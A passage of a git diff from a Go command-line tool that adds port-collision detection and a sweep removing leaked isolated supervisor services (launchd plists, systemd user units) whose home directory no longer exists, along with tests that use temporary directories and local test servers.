 	active := supervisorSystemctlActive(service)
diff --git a/cmd/gc/cmd_supervisor_portcollision_test.go b/cmd/gc/cmd_supervisor_portcollision_test.go
new file mode 100644
index 0000000000..51fb9e6a82
--- /dev/null
+++ b/cmd/gc/cmd_supervisor_portcollision_test.go
@@ -0,0 +1,201 @@
+package main
+
+import (
+	"fmt"
+	"net"
+	"net/http"
+	"net/http/httptest"
+	"strconv"
+	"strings"
+	"syscall"
+	"testing"
+	"time"
+)
+
+// TestSupervisorAddrInUse verifies that only EADDRINUSE (the signature of a
+// second supervisor competing for the shared API port) is classified as a
+// port collision — other listen errors must fall through to the generic path.
+func TestSupervisorAddrInUse(t *testing.T) {
+	cases := []struct {
+		name string
+		err  error
+		want bool
+	}{
+		{"address in use", syscall.EADDRINUSE, true},
+		{"wrapped address in use", &net.OpError{Op: "listen", Err: syscall.EADDRINUSE}, true},
+		{"connection refused", syscall.ECONNREFUSED, false},
+		{"permission denied", syscall.EACCES, false},
+		{"nil", nil, false},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			if got := supervisorAddrInUse(tc.err); got != tc.want {
+				t.Fatalf("supervisorAddrInUse(%v) = %v, want %v", tc.err, got, tc.want)
+			}
+		})
+	}
+}
+
+// TestSupervisorPortInUseMessage verifies the diagnostic is loud and
+// actionable: it names the address, states only one supervisor may run, and
+// points the operator at both remedies (stop the other / pick another port).
+func TestSupervisorPortInUseMessage(t *testing.T) {
+	const addr = "127.0.0.1:8372"
+	const cfg = "/home/someone/.gc/supervisor.toml"
+	msg := supervisorPortInUseMessage(addr, cfg)
+
+	for _, want := range []string{
+		addr,
+		cfg,
+		"already in use",
+		"only one supervisor",
+		"gc supervisor stop",
+		"port =",
+	} {
+		if !strings.Contains(msg, want) {
+			t.Errorf("port-in-use message missing %q; got:\n%s", want, msg)
+		}
+	}
+}
+
+// TestSupervisorPortInUseMessageDarwinDoesNotClaimWithoutRestart verifies
+// the MAJOR-A fix: launchd's KeepAlive has no per-exit-code equivalent of
+// systemd's RestartPreventExitStatus, so a duplicate supervisor on macOS is
+// still restarted regardless of exit code. Claiming "without restart" there
+// would be unconditionally false.
+func TestSupervisorPortInUseMessageDarwinDoesNotClaimWithoutRestart(t *testing.T) {
+	old := supervisorRuntimeGOOS
+	supervisorRuntimeGOOS = "darwin"
+	t.Cleanup(func() { supervisorRuntimeGOOS = old })
+
+	msg := supervisorPortInUseMessage("127.0.0.1:8372", "/home/someone/.gc/supervisor.toml")
+	if strings.Contains(msg, "without restart") {
+		t.Errorf("darwin port-in-use message falsely claims restart suppression; got:\n%s", msg)
+	}
+	if !strings.Contains(msg, "launchd") || !strings.Contains(msg, "regardless of exit code") {
+		t.Errorf("darwin port-in-use message should explain launchd's restart-regardless-of-exit-code behavior; got:\n%s", msg)
+	}
+}
+
+// TestSupervisorPortInUseMessageLinuxClaimsWithoutRestart is the systemd-side
+// counterpart: RestartPreventExitStatus genuinely stops the restart there, so
+// the message should say so.
+func TestSupervisorPortInUseMessageLinuxClaimsWithoutRestart(t *testing.T) {
+	old := supervisorRuntimeGOOS
+	supervisorRuntimeGOOS = "linux"
+	t.Cleanup(func() { supervisorRuntimeGOOS = old })
+
+	msg := supervisorPortInUseMessage("127.0.0.1:8372", "/home/someone/.gc/supervisor.toml")
+	if !strings.Contains(msg, "without restart") {
+		t.Errorf("linux port-in-use message should claim restart suppression; got:\n%s", msg)
+	}
+}
+
+// TestSupervisorRespondingGCSupervisor verifies the /health liveness gate
+// used to discriminate a true duplicate gc supervisor (which answers
+// {"status":"ok"}) from a foreign or non-responding binder that merely
+// happens to hold the shared API port (gc-r0k40, MAJOR-B).
+func TestSupervisorRespondingGCSupervisor(t *testing.T) {
+	t.Run("responding gc supervisor", func(t *testing.T) {
+		srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+			if r.URL.Path != "/health" {
+				w.WriteHeader(http.StatusNotFound)
+				return
+			}
+			w.Header().Set("Content-Type", "application/json")
+			fmt.Fprint(w, `{"status":"ok","version":"1.2.3"}`) //nolint:errcheck
+		}))
+		defer srv.Close()
+
+		addr := strings.TrimPrefix(srv.URL, "http://")
+		if !supervisorRespondingGCSupervisor(addr) {
+			t.Errorf("supervisorRespondingGCSupervisor(%q) = false, want true", addr)
+		}
+	})
+
+	t.Run("foreign HTTP responder", func(t *testing.T) {
+		srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+			w.Header().Set("Content-Type", "application/json")
+			fmt.Fprint(w, `{"hello":"world"}`) //nolint:errcheck
+		}))
+		defer srv.Close()
+
+		addr := strings.TrimPrefix(srv.URL, "http://")
+		if supervisorRespondingGCSupervisor(addr) {
+			t.Errorf("supervisorRespondingGCSupervisor(%q) = true, want false (not a gc supervisor payload)", addr)
+		}
+	})
+
+	t.Run("non-2xx responder", func(t *testing.T) {
+		srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+			w.WriteHeader(http.StatusInternalServerError)
+		}))
+		defer srv.Close()
+
+		addr := strings.TrimPrefix(srv.URL, "http://")
+		if supervisorRespondingGCSupervisor(addr) {
+			t.Errorf("supervisorRespondingGCSupervisor(%q) = true, want false (non-2xx)", addr)
+		}
+	})
+
+	t.Run("nothing listening", func(t *testing.T) {
+		lis, err := net.Listen("tcp", "127.0.0.1:0")
+		if err != nil {
+			t.Fatal(err)
+		}
+		addr := lis.Addr().String()
+		if err := lis.Close(); err != nil {
+			t.Fatal(err)
+		}
+		if supervisorRespondingGCSupervisor(addr) {
+			t.Errorf("supervisorRespondingGCSupervisor(%q) = true, want false (connection refused)", addr)
+		}
+	})
+
+	t.Run("timeout is bounded", func(t *testing.T) {
+		lis, err := net.Listen("tcp", "127.0.0.1:0")
+		if err != nil {
+			t.Fatal(err)
+		}
+		defer lis.Close() //nolint:errcheck
+
+		old := supervisorHealthProbeTimeout
+		supervisorHealthProbeTimeout = 100 * time.Millisecond
+		t.Cleanup(func() { supervisorHealthProbeTimeout = old })
+
+		addr := lis.Addr().String()
+		start := time.Now()
+		if supervisorRespondingGCSupervisor(addr) {
+			t.Errorf("supervisorRespondingGCSupervisor(%q) = true, want false (unaccepted connection)", addr)
+		}
+		if elapsed := time.Since(start); elapsed > 2*time.Second {
+			t.Errorf("supervisorRespondingGCSupervisor took %s, want bounded by supervisorHealthProbeTimeout", elapsed)
+		}
+	})
+}
+
+// TestSupervisorSystemdTemplatePreventsRestartOnPortCollision verifies the
+// generated systemd unit lists the duplicate-port exit code in
+// RestartPreventExitStatus, so a duplicate install exits once instead of
+// crash-looping on the shared port forever (the ga-ceq regression).
+func TestSupervisorSystemdTemplatePreventsRestartOnPortCollision(t *testing.T) {
+	data := &supervisorServiceData{
+		GCPath:            "/usr/local/bin/gc",
+		LogPath:           "/home/someone/.gc/supervisor.log",
+		GCHome:            "/home/someone/.gc",
+		Path:              "/usr/bin",
+		PortInUseExitCode: supervisorExitCodePortInUse,
+	}
+	content, err := renderSupervisorTemplate(supervisorSystemdTemplate, data)
+	if err != nil {
+		t.Fatalf("render systemd template: %v", err)
+	}
+	want := "RestartPreventExitStatus=" + strconv.Itoa(supervisorExitCodePortInUse)
+	if !strings.Contains(content, want) {
+		t.Fatalf("systemd unit missing %q; got:\n%s", want, content)
+	}
+	// Genuine crashes must still restart — Restart=always stays in force.
+	if !strings.Contains(content, "Restart=always") {
+		t.Fatalf("systemd unit lost Restart=always; got:\n%s", content)
+	}
+}
diff --git a/cmd/gc/cmd_supervisor_stale_services.go b/cmd/gc/cmd_supervisor_stale_services.go
new file mode 100644
index 0000000000..4d6db5fd2c
--- /dev/null
+++ b/cmd/gc/cmd_supervisor_stale_services.go
@@ -0,0 +1,152 @@
+package main
+
+// Stale isolated supervisor-service sweep (gascity#3896).
+//
+// Every `gc supervisor install` under an isolated GC_HOME writes a
+// per-home service file (com.gascity.supervisor.<suffix>.plist on
+// launchd, gascity-supervisor-<suffix>.service on systemd) with
+// RunAtLoad / Restart=always semantics. Test and e2e harnesses that
+// crash or are interrupted before their `gc supervisor uninstall`
+// teardown leak that service permanently: the service manager
+// resurrects it on every login even after its temp GC_HOME is deleted,
+// and nothing else ever removes it. The sweep below runs on the
+// install and uninstall paths and boots out gc-owned *suffixed*
+// service files whose GC_HOME no longer exists. It never touches the
+// default (unsuffixed) service, the current process's own service
+// file, or any file whose GC_HOME cannot be parsed or still exists.
+
+import (
+	"errors"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+)
+
+// supervisorSystemdUnitPrefix is the shared prefix of suffixed
+// (isolated-GC_HOME) supervisor units; keep in sync with
+// supervisorSystemdServiceName.
+const supervisorSystemdUnitPrefix = "gascity-supervisor-"
+
+// sweepStaleIsolatedSupervisorServices removes leaked isolated-home
+// supervisor services for the active platform. Failures are warnings
+// on stderr; the sweep never blocks the caller.
+func sweepStaleIsolatedSupervisorServices(stderr io.Writer) {
+	switch supervisorRuntimeGOOS {
+	case "darwin":
+		sweepStaleIsolatedSupervisorLaunchd(stderr)
+	case "linux":
+		sweepStaleIsolatedSupervisorSystemd(stderr)
+	}
+}
+
+// supervisorServiceGCHomeMissing reports whether a service file's
+// GC_HOME is definitively gone. Only a clean not-exist counts:
+// empty values, permission errors, and transient failures leave the
+// service alone.
+func supervisorServiceGCHomeMissing(gcHome string) bool {
+	if strings.TrimSpace(gcHome) == "" {
+		return false
+	}
+	_, err := os.Stat(gcHome)
+	return errors.Is(err, os.ErrNotExist)
+}
+
+// sweepStaleIsolatedSupervisorLaunchd boots out and removes suffixed
+// com.gascity.supervisor.* launch agents whose GC_HOME no longer
+// exists.
+func sweepStaleIsolatedSupervisorLaunchd(stderr io.Writer) {
+	home, err := os.UserHomeDir()
+	if err != nil || strings.TrimSpace(home) == "" {
+		return
+	}
+	dir := filepath.Join(home, "Library", "LaunchAgents")
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		// Missing or unreadable LaunchAgents dir: nothing to sweep.
+		return
+	}
+	ownPath := supervisorLaunchdPlistPath()
+	for _, entry := range entries {
+		if entry.IsDir() {
+			continue
+		}
+		name := entry.Name()
+		if !strings.HasSuffix(name, ".plist") {
+			continue
+		}
+		label := strings.TrimSuffix(name, ".plist")
+		// Only suffixed labels: the default com.gascity.supervisor
+		// agent is the user's real supervisor and is never swept.
+		if !strings.HasPrefix(label, defaultSupervisorLaunchdLabel+".") {
+			continue
+		}
+		path := filepath.Join(dir, name)
+		if samePath(path, ownPath) {
+			continue
+		}
+		// legacySupervisorHome parses GC_HOME out of any gc-rendered
+		// service file, not only the legacy-labeled one.
+		gcHome, ok := legacySupervisorHome(path)
+		if !ok || !supervisorServiceGCHomeMissing(gcHome) {
+			continue
+		}
+		_ = supervisorLaunchctlRun("unload", path)
+		_ = supervisorLaunchctlRun("disable", supervisorLaunchdServiceTarget(label))
+		if err := os.Remove(path); err != nil && !os.IsNotExist(err) {
+			fmt.Fprintf(stderr, "gc supervisor: removing stale isolated supervisor plist %s: %v\n", path, err) //nolint:errcheck // best-effort stderr
+			continue
+		}
+		fmt.Fprintf(stderr, "gc supervisor: removed stale isolated supervisor service %s (GC_HOME %s no longer exists)\n", label, gcHome) //nolint:errcheck // best-effort stderr
+	}
+}
+
+// sweepStaleIsolatedSupervisorSystemd stops, disables, and removes
+// suffixed gascity-supervisor-*.service user units whose GC_HOME no
+// longer exists.
+func sweepStaleIsolatedSupervisorSystemd(stderr io.Writer) {
+	home, err := os.UserHomeDir()
+	if err != nil || strings.TrimSpace(home) == "" {
+		return
+	}
+	dir := filepath.Join(home, ".local", "share", "systemd", "user")
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		// Missing or unreadable unit dir: nothing to sweep.
+		return
+	}
+	ownPath := supervisorSystemdServicePath()
+	removed := false
+	for _, entry := range entries {
+		if entry.IsDir() {
+			continue
+		}
+		name := entry.Name()
+		// Only suffixed units: the default gascity-supervisor.service
+		// (no trailing dash) is the user's real supervisor and is
+		// never swept.
+		if !strings.HasPrefix(name, supervisorSystemdUnitPrefix) || !strings.HasSuffix(name, ".service") {
+			continue
+		}
+		path := filepath.Join(dir, name)
+		if samePath(path, ownPath) {
+			continue
+		}
+		gcHome, ok := legacySupervisorHome(path)
+		if !ok || !supervisorServiceGCHomeMissing(gcHome) {
+			continue
+		}
+		_ = supervisorSystemctlRun("--user", "stop", name)
+		_ = supervisorSystemctlRun("--user", "disable", name)
+		if err := os.Remove(path); err != nil && !os.IsNotExist(err) {
+			fmt.Fprintf(stderr, "gc supervisor: removing stale isolated supervisor unit %s: %v\n", path, err) //nolint:errcheck // best-effort stderr
+			continue
+		}
+		removed = true
+		fmt.Fprintf(stderr, "gc supervisor: removed stale isolated supervisor service %s (GC_HOME %s no longer exists)\n", name, gcHome) //nolint:errcheck // best-effort stderr
+	}
+	if removed {
+		_ = supervisorSystemctlRun("--user", "daemon-reload")
+	}
+}
diff --git a/cmd/gc/cmd_supervisor_stale_services_test.go b/cmd/gc/cmd_supervisor_stale_services_test.go
new file mode 100644
index 0000000000..7918d6255a
--- /dev/null
+++ b/cmd/gc/cmd_supervisor_stale_services_test.go
@@ -0,0 +1,320 @@
+package main
+
+import (
+	"bytes"
+	"os"
+	"path/filepath"
+	"strconv"
+	"strings"
+	"testing"
+)
+
+// writeStaleSweepLaunchdPlist renders a real supervisor plist for label
+// pointing at gcHome and writes it into dir, mirroring what
+// installSupervisorLaunchd produces.
+func writeStaleSweepLaunchdPlist(t *testing.T, dir, label, gcHome string) string {
+	t.Helper()
+	content, err := renderSupervisorTemplate(supervisorLaunchdTemplate, &supervisorServiceData{
+		GCPath:       "/tmp/gc-test",
+		LogPath:      filepath.Join(gcHome, "supervisor.log"),
+		GCHome:       gcHome,
+		LaunchdLabel: label,
+		Path:         "/usr/bin:/bin",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	path := filepath.Join(dir, label+".plist")
+	if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
+		t.Fatal(err)
+	}
+	return path
+}
+
+// writeStaleSweepSystemdUnit renders a real supervisor unit named unit
+// pointing at gcHome and writes it into dir, mirroring what
+// installSupervisorSystemd produces.
+func writeStaleSweepSystemdUnit(t *testing.T, dir, unit, gcHome string) string {
+	t.Helper()
+	content, err := renderSupervisorTemplate(supervisorSystemdTemplate, &supervisorServiceData{
+		GCPath:  "/tmp/gc-test",
+		LogPath: filepath.Join(gcHome, "supervisor.log"),
+		GCHome:  gcHome,
+		Path:    "/usr/bin:/bin",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	path := filepath.Join(dir, unit)
+	if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
+		t.Fatal(err)
+	}
+	return path
+}
+
+func TestSweepStaleIsolatedSupervisorLaunchdRemovesOnlyStale(t *testing.T) {
+	homeDir := t.TempDir()
+	ownGCHome := t.TempDir()
+	t.Setenv("HOME", homeDir)
+	t.Setenv("GC_HOME", ownGCHome)
+	oldGOOS := supervisorRuntimeGOOS
+	supervisorRuntimeGOOS = "darwin"
+	t.Cleanup(func() { supervisorRuntimeGOOS = oldGOOS })
+
+	launchAgents := filepath.Join(homeDir, "Library", "LaunchAgents")
+	if err := os.MkdirAll(launchAgents, 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	staleHome := filepath.Join(t.TempDir(), "deleted-gc-home")
+	liveHome := t.TempDir()
+
+	// The default (unsuffixed) agent must never be swept, even when its
+	// GC_HOME is gone.
+	defaultPath := writeStaleSweepLaunchdPlist(t, launchAgents, defaultSupervisorLaunchdLabel, staleHome)
+	// The current process's own suffixed agent must never be swept.
+	ownPath := writeStaleSweepLaunchdPlist(t, launchAgents, supervisorLaunchdLabel(), ownGCHome)
+	// A leaked agent whose GC_HOME no longer exists must be removed.
+	staleLabel := defaultSupervisorLaunchdLabel + ".gc-home-12345678"
+	stalePath := writeStaleSweepLaunchdPlist(t, launchAgents, staleLabel, staleHome)
+	// Another isolated agent whose GC_HOME still exists must be kept.
+	livePath := writeStaleSweepLaunchdPlist(t, launchAgents, defaultSupervisorLaunchdLabel+".other-abcd1234", liveHome)
+	// A suffixed plist that cannot be parsed must be left alone.
+	junkPath := filepath.Join(launchAgents, defaultSupervisorLaunchdLabel+".junk-ffffffff.plist")
+	if err := os.WriteFile(junkPath, []byte("<not-a-plist>"), 0o600); err != nil {
+		t.Fatal(err)
+	}
+	// An unrelated plist must be ignored entirely.
+	otherPath := filepath.Join(launchAgents, "com.example.other.plist")
+	if err := os.WriteFile(otherPath, []byte("<not-a-plist>"), 0o600); err != nil {
+		t.Fatal(err)
+	}
+
+	oldRun := supervisorLaunchctlRun
+	var calls []string
+	supervisorLaunchctlRun = func(args ...string) error {
+		calls = append(calls, strings.Join(args, " "))
+		return nil
+	}
+	t.Cleanup(func() { supervisorLaunchctlRun = oldRun })
+
+	var stderr bytes.Buffer
+	sweepStaleIsolatedSupervisorServices(&stderr)
+
+	if _, err := os.Stat(stalePath); !os.IsNotExist(err) {
+		t.Fatalf("stale plist %q should be removed; err=%v", stalePath, err)
+	}
+	for _, keep := range []string{defaultPath, ownPath, livePath, junkPath, otherPath} {
+		if _, err := os.Stat(keep); err != nil {
+			t.Fatalf("plist %q should be untouched: %v", keep, err)
+		}
+	}
+
+	joined := strings.Join(calls, "\n")
+	target := "gui/" + strconv.Itoa(os.Getuid()) + "/" + staleLabel
+	for _, want := range []string{"unload " + stalePath, "disable " + target} {
+		if !strings.Contains(joined, want) {
+			t.Fatalf("launchctl calls = %v, want %q", calls, want)
+		}
+	}
+	for _, path := range []string{defaultPath, ownPath, livePath, junkPath, otherPath} {
+		if strings.Contains(joined, path) {
+			t.Fatalf("launchctl calls %v must not reference %q", calls, path)
+		}
+	}
+	if !strings.Contains(stderr.String(), staleLabel) {
+		t.Fatalf("stderr = %q, want removal notice for %q", stderr.String(), staleLabel)
+	}
+}
+
+func TestSweepStaleIsolatedSupervisorSystemdRemovesOnlyStale(t *testing.T) {
+	homeDir := t.TempDir()
+	ownGCHome := t.TempDir()
+	t.Setenv("HOME", homeDir)
+	t.Setenv("GC_HOME", ownGCHome)
+	oldGOOS := supervisorRuntimeGOOS
+	supervisorRuntimeGOOS = "linux"
+	t.Cleanup(func() { supervisorRuntimeGOOS = oldGOOS })
+
+	unitDir := filepath.Join(homeDir, ".local", "share", "systemd", "user")
+	if err := os.MkdirAll(unitDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	staleHome := filepath.Join(t.TempDir(), "deleted-gc-home")
+	liveHome := t.TempDir()
+
+	defaultPath := writeStaleSweepSystemdUnit(t, unitDir, defaultSupervisorSystemdUnit, staleHome)
+	ownPath := writeStaleSweepSystemdUnit(t, unitDir, supervisorSystemdServiceName(), ownGCHome)
+	staleUnit := "gascity-supervisor-gc-home-12345678.service"
+	stalePath := writeStaleSweepSystemdUnit(t, unitDir, staleUnit, staleHome)
+	livePath := writeStaleSweepSystemdUnit(t, unitDir, "gascity-supervisor-other-abcd1234.service", liveHome)
+	unrelatedPath := filepath.Join(unitDir, "other.service")
+	if err := os.WriteFile(unrelatedPath, []byte("[Unit]\n"), 0o600); err != nil {
+		t.Fatal(err)
+	}
+
+	oldRun := supervisorSystemctlRun
+	var calls []string
+	supervisorSystemctlRun = func(args ...string) error {
+		calls = append(calls, strings.Join(args, " "))
+		return nil
+	}
+	t.Cleanup(func() { supervisorSystemctlRun = oldRun })
+
+	var stderr bytes.Buffer
+	sweepStaleIsolatedSupervisorServices(&stderr)
+
+	if _, err := os.Stat(stalePath); !os.IsNotExist(err) {
+		t.Fatalf("stale unit %q should be removed; err=%v", stalePath, err)
+	}
+	for _, keep := range []string{defaultPath, ownPath, livePath, unrelatedPath} {
+		if _, err := os.Stat(keep); err != nil {
+			t.Fatalf("unit %q should be untouched: %v", keep, err)
+		}
+	}
+
+	joined := strings.Join(calls, "\n")
+	for _, want := range []string{
+		"--user stop " + staleUnit,
+		"--user disable " + staleUnit,
+		"--user daemon-reload",
+	} {
+		if !strings.Contains(joined, want) {
+			t.Fatalf("systemctl calls = %v, want %q", calls, want)
+		}
+	}
+	for _, unit := range []string{defaultSupervisorSystemdUnit, supervisorSystemdServiceName(), "gascity-supervisor-other-abcd1234.service"} {
+		if strings.Contains(joined, "stop "+unit) || strings.Contains(joined, "disable "+unit) {
+			t.Fatalf("systemctl calls %v must not stop/disable %q", calls, unit)
+		}
+	}
+}
+
+func TestSweepStaleIsolatedSupervisorSystemdNoStaleMakesNoSystemctlCalls(t *testing.T) {
+	homeDir := t.TempDir()
+	ownGCHome := t.TempDir()
+	t.Setenv("HOME", homeDir)
+	t.Setenv("GC_HOME", ownGCHome)
+	oldGOOS := supervisorRuntimeGOOS
+	supervisorRuntimeGOOS = "linux"
+	t.Cleanup(func() { supervisorRuntimeGOOS = oldGOOS })
+
+	unitDir := filepath.Join(homeDir, ".local", "share", "systemd", "user")
+	if err := os.MkdirAll(unitDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	liveHome := t.TempDir()
+	writeStaleSweepSystemdUnit(t, unitDir, "gascity-supervisor-live-abcd1234.service", liveHome)
+
+	oldRun := supervisorSystemctlRun
+	var calls []string
+	supervisorSystemctlRun = func(args ...string) error {
+		calls = append(calls, strings.Join(args, " "))
+		return nil
+	}
+	t.Cleanup(func() { supervisorSystemctlRun = oldRun })
+
+	var stderr bytes.Buffer
+	sweepStaleIsolatedSupervisorServices(&stderr)
+
+	if len(calls) != 0 {
+		t.Fatalf("systemctl calls = %v, want none when nothing is stale", calls)
+	}
+	if stderr.Len() != 0 {
+		t.Fatalf("stderr = %q, want empty when nothing is stale", stderr.String())
+	}
+}
+
+func TestSweepStaleIsolatedSupervisorServicesMissingDirIsNoop(t *testing.T) {
+	homeDir := t.TempDir()
+	t.Setenv("HOME", homeDir)
+	t.Setenv("GC_HOME", t.TempDir())
+	oldGOOS := supervisorRuntimeGOOS
+	t.Cleanup(func() { supervisorRuntimeGOOS = oldGOOS })
+
+	for _, goos := range []string{"darwin", "linux"} {
+		supervisorRuntimeGOOS = goos
+		var stderr bytes.Buffer
+		sweepStaleIsolatedSupervisorServices(&stderr)
+		if stderr.Len() != 0 {
+			t.Fatalf("goos=%s: stderr = %q, want empty for missing service dir", goos, stderr.String())
+		}
+	}
+}
+
+func TestInstallSupervisorLaunchdSweepsStaleSiblings(t *testing.T) {
+	homeDir := t.TempDir()
+	gcHome := filepath.Join(t.TempDir(), "isolated-home")
+	t.Setenv("HOME", homeDir)
+	t.Setenv("GC_HOME", gcHome)
+	oldGOOS := supervisorRuntimeGOOS
+	supervisorRuntimeGOOS = "darwin"
+	t.Cleanup(func() { supervisorRuntimeGOOS = oldGOOS })
+
+	launchAgents := filepath.Join(homeDir, "Library", "LaunchAgents")
+	if err := os.MkdirAll(launchAgents, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	staleHome := filepath.Join(t.TempDir(), "deleted-gc-home")
+	stalePath := writeStaleSweepLaunchdPlist(t, launchAgents, defaultSupervisorLaunchdLabel+".gc-home-87654321", staleHome)
+
+	oldRun := supervisorLaunchctlRun
+	supervisorLaunchctlRun = func(_ ...string) error { return nil }
+	t.Cleanup(func() { supervisorLaunchctlRun = oldRun })
+
+	data := &supervisorServiceData{
+		GCPath:       "/tmp/gc-new",
+		LogPath:      filepath.Join(gcHome, "supervisor.log"),
+		GCHome:       gcHome,
+		LaunchdLabel: supervisorLaunchdLabel(),
+		Path:         "/usr/local/bin:/usr/bin:/bin",
+	}
+
+	var stdout, stderr bytes.Buffer
+	if code := installSupervisorLaunchd(data, &stdout, &stderr); code != 0 {
+		t.Fatalf("installSupervisorLaunchd code = %d, want 0; stderr=%q", code, stderr.String())
+	}
+	if _, err := os.Stat(stalePath); !os.IsNotExist(err) {
+		t.Fatalf("stale sibling plist %q should be swept during install; err=%v", stalePath, err)
+	}
+	if _, err := os.Stat(supervisorLaunchdPlistPath()); err != nil {
+		t.Fatalf("own plist should be installed: %v", err)
+	}
+}
+
+func TestUninstallSupervisorLaunchdSweepsStaleSiblings(t *testing.T) {
+	homeDir := t.TempDir()
+	gcHome := t.TempDir()
+	t.Setenv("HOME", homeDir)
+	t.Setenv("GC_HOME", gcHome)
+	oldGOOS := supervisorRuntimeGOOS
+	supervisorRuntimeGOOS = "darwin"
+	t.Cleanup(func() { supervisorRuntimeGOOS = oldGOOS })
+
+	launchAgents := filepath.Join(homeDir, "Library", "LaunchAgents")
+	if err := os.MkdirAll(launchAgents, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	staleHome := filepath.Join(t.TempDir(), "deleted-gc-home")
+	stalePath := writeStaleSweepLaunchdPlist(t, launchAgents, defaultSupervisorLaunchdLabel+".gc-home-13572468", staleHome)
+	ownPath := writeStaleSweepLaunchdPlist(t, launchAgents, supervisorLaunchdLabel(), gcHome)
+
+	oldRun := supervisorLaunchctlRun
+	supervisorLaunchctlRun = func(_ ...string) error { return nil }
+	t.Cleanup(func() { supervisorLaunchctlRun = oldRun })
+	oldActive := supervisorLaunchdActive
+	supervisorLaunchdActive = func(string) bool { return false }
+	t.Cleanup(func() { supervisorLaunchdActive = oldActive })
+
+	var stdout, stderr bytes.Buffer
+	if code := uninstallSupervisorLaunchd(nil, &stdout, &stderr); code != 0 {
+		t.Fatalf("uninstallSupervisorLaunchd code = %d, want 0; stderr=%q", code, stderr.String())
+	}
+	if _, err := os.Stat(stalePath); !os.IsNotExist(err) {
+		t.Fatalf("stale sibling plist %q should be swept during uninstall; err=%v", stalePath, err)
+	}
+	if _, err := os.Stat(ownPath); !os.IsNotExist(err) {
+		t.Fatalf("own plist %q should be removed by uninstall; err=%v", ownPath, err)
+	}
+}
diff --git a/cmd/gc/cmd_supervisor_test.go b/cmd/gc/cmd_supervisor_test.go
index c19b8a3502..34db7065a9 100644
--- a/cmd/gc/cmd_supervisor_test.go
+++ b/cmd/gc/cmd_supervisor_test.go
@@ -6,8 +6,11 @@ import (
 	"context"
 	"encoding/json"
 	"errors"
+	"fmt"
 	"io"
 	"net"
+	"net/http"
+	"net/http/httptest"
 	"os"
 	"os/exec"
 	"os/user"
@@ -4249,6 +4252,78 @@ func TestRunSupervisorFailsWhenAPIPortUnavailable(t *testing.T) {
 	}
 }
 
+// TestRunSupervisorPortCollisionWithForeignHTTPBinderFallsThroughToExit1
+// covers the /health gate's discrimination case that the bare-listener test
+// above cannot: a binder that DOES speak HTTP on the shared port but is not
+// a gc supervisor (no {"status":"ok"} payload). EADDRINUSE alone must not be
+// treated as proof of a duplicate gc supervisor — only a positive /health
+// identification does (gc-r0k40, MAJOR-B).
+func TestRunSupervisorPortCollisionWithForeignHTTPBinderFallsThroughToExit1(t *testing.T) {
+	t.Setenv("GC_HOME", t.TempDir())
+	t.Setenv("XDG_RUNTIME_DIR", t.TempDir())
+
+	foreign := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+		w.Header().Set("Content-Type", "application/json")
+		fmt.Fprint(w, `{"hello":"world"}`) //nolint:errcheck
+	}))
+	defer foreign.Close()
+
+	_, port, err := net.SplitHostPort(strings.TrimPrefix(foreign.URL, "http://"))
+	if err != nil {
+		t.Fatalf("split foreign server addr: %v", err)
+	}
+	cfg := []byte("[supervisor]\nport = " + port + "\n")
+	if err := os.WriteFile(supervisor.ConfigPath(), cfg, 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	var stdout, stderr bytes.Buffer
+	code := runSupervisor(&stdout, &stderr)
+	if code != 1 {
+		t.Fatalf("runSupervisor code = %d, want 1 (foreign binder, not a duplicate); stderr=%q", code, stderr.String())
+	}
+	if !strings.Contains(stderr.String(), "api: listen") {
+		t.Fatalf("stderr = %q, want API listen failure", stderr.String())
+	}
+}
+
+// TestRunSupervisorPortCollisionWithRespondingGCSupervisorExitsDuplicate
+// covers the true-duplicate case: the binder on the shared port answers
+// /health like a gc supervisor, so runSupervisor must take the exit-3
+// duplicate path (gc-r0k40, MAJOR-B).
+func TestRunSupervisorPortCollisionWithRespondingGCSupervisorExitsDuplicate(t *testing.T) {
+	t.Setenv("GC_HOME", t.TempDir())
+	t.Setenv("XDG_RUNTIME_DIR", t.TempDir())
+
+	other := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.URL.Path != "/health" {
+			w.WriteHeader(http.StatusNotFound)
+			return
+		}
+		w.Header().Set("Content-Type", "application/json")
+		fmt.Fprint(w, `{"status":"ok","version":"1.2.3","build_id":"deadbeef"}`) //nolint:errcheck
+	}))
+	defer other.Close()
+
+	_, port, err := net.SplitHostPort(strings.TrimPrefix(other.URL, "http://"))
+	if err != nil {
+		t.Fatalf("split other server addr: %v", err)
+	}
+	cfg := []byte("[supervisor]\nport = " + port + "\n")
+	if err := os.WriteFile(supervisor.ConfigPath(), cfg, 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	var stdout, stderr bytes.Buffer
+	code := runSupervisor(&stdout, &stderr)
+	if code != supervisorExitCodePortInUse {
+		t.Fatalf("runSupervisor code = %d, want %d (duplicate gc supervisor); stderr=%q", code, supervisorExitCodePortInUse, stderr.String())
+	}
+	if !strings.Contains(stderr.String(), "already in use") {
+		t.Fatalf("stderr = %q, want port-in-use message", stderr.String())
+	}
+}
+
 func TestControllerStatusForSupervisorManagedCity(t *testing.T) {
 	gcHome := t.TempDir()
 	t.Setenv("GC_HOME", gcHome)
diff --git a/cmd/gc/cmd_wait.go b/cmd/gc/cmd_wait.go
index c3eafb75d0..cdb7c04233 100644
--- a/cmd/gc/cmd_wait.go
+++ b/cmd/gc/cmd_wait.go
@@ -220,12 +220,15 @@ func cmdSessionWait(args, depIDs []string, matchAny bool, note string, sleep boo
